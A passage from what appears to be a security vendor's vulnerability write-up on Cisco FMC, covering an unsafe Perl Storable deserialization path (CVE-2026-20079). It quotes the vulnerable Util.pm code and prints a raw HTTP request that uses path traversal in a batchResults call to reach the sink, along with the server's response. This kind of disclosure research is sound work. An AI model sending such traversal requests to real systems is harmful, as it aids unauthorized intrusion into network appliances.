time=2026-03-19T19:00:43.064-06:00 level=STATUS msg="C2 server exited"
The FMC system utilizes the Perl Storable module all over the place and even does C foreign-function calls to load Perl objects in multiple places. During our testing, we identified that the sajaxint.cgi endpoint allowed a batchResults call that end up trickling into the following suspicious few lines in sf/lib/perl/5.34.1/SF/Util.pm:
sub DeSerialize
{
my $options = shift();
if (!defined($options->{data}) && !defined($options->{filename}) && !defined($options->{fd}))
{
return undef;
}
my $deserialized_data;
try
{
local $Storable::Eval = $Storable::Eval = 1;
if (defined($options->{fd}))
{
$deserialized_data = Storable::fd_retrieve($options->{fd});
}
elsif (defined($options->{filename}))
{
my $fn = SF::Reloc::RelocateFilename($options->{filename});
if(-e $fn)
{
if ($options->{lock})
{
$deserialized_data = Storable::lock_retrieve($fn);
}
else
{
$deserialized_data = Storable::retrieve($fn);
}
}
else
{
warn "Unable to locate file for retrieval: $options->{filename}";
return undef;
}
}
elsif ($options->{data})
{
$deserialized_data = Storable::thaw($options->{data});
}
}
By combining the licenseValidate call with the batchResults call, we can write arbitrary binary data to /var/tmp/license.tmp, including Storable serialized Perl. Additionally, the license validation logic appears more than happy to accept arbitrary path traversals:
POST /sajaxintf.cgi?rs=callServerFunc&rstime=1772810888984 HTTP/1.1
Host: 10.0.0.226
Cookie: CGISESSID=csm_processes
Content-Length: 65
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Referer: https://10.0.0.226/rna_policy/rna_policy_creation.cgi
Connection: keep-alive
["d8bcba74049486588e0e2f11dacfee4f",
"batchResults",
"../license.tmp",
"1"]
Without valid Storable data, the application will respond as follows indicating that the sink above has been reached:
HTTP/1.1 404 Not Found
Date: Fri, 06 Mar 2026 15:35:42 GMT
Server: Mojolicious (Perl)
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: application/json
Content-Length: 192
Cache-Control: no-store
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=edge
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
X-Content-Type-Options: nosniff
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
{"error":{"text":"Error: Magic number checking on storable file failed at /usr/lib64/perl5/5.34.1/x86_64-linux/Storable.pm line 421, at /usr/local/sf/lib/perl/5.34.1/SF/Util.pm line 2069.\n"}}
Since the Storable module directly enables the $Storable::Eval setting, there is a high likelihood that the module may be useful for attackers. The Storable module even calls this pattern out directly as potentially vulnerable:

After examining Storable test cases and generating Storable data that was written via the license path, the team was eventually able to generate CODE Perl-serialized data and interact with the STORABLE_thaw logic. We were unable to find a sink or gadget that was a candidate for bootstrapping to code execution, however, before we found the installer path to RCE. It’s likely that some Perl wizard out there will be able to find an additional path to execution using this logic.
An exploit, PCAPs, a YARA rule, and network signatures for five different variants are available to VulnCheck Initial Access Intelligence customers for CVE-2026-20079.
VulnCheck’s Initial Access Intelligence team is always on the hunt for new exploits and fresh shells. By delivering machine-consumable, evidence-driven intelligence on new vulnerabilities and how real attackers can use them in the wild, VulnCheck helps organizations prepare earlier, respond decisively, and verify exploitation without relying on inaccurate scores or delayed consensus. For more research like this, see Herding Cats: Recent Cisco SD-WAN Manager Vulnerabilities, Tales from the Exploit Mines: Gladinet Triofox CVE-2025-12480 RCE, and Street Smarts: SmarterMail ConnectToHub Unauthenticated RCE (CVE-2026-24423).
Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence products.
